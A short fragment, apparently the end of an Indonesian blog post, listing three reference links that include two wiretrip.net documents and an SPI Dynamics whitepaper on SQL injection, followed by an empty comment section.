http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 |
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 |
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf |

0 komentar:
Posting Komentar